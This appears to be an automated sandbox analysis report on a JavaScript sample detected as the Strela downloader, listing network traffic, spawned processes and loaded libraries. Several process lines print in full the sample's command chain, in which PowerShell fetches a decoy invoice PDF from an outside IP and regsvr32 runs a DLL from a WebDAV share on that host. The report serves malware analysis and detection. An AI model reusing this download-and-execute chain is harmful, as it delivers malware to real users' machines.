Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1761298845.000001864D04B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1762267155.000001864EF2E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1821945727.000001CB21218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1821945727.000001CB21218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000006.00000002.1822084165.000001CB2124C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1821379384.000001CB2124C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Z
Source: svchost.exe, 00000008.00000002.3056923758.000001AECBC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBE58000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBE58000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBE58000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBE8D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBF02000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBF02000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1822660962.000001AECBF02000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7276, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 23333227572217423995.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7336:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rcvc0on4.pdw.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23333227572217423995.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1660,i,10964103257777821121,7652428037546032337,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15468771611777.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1660,i,10964103257777821121,7652428037546032337,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
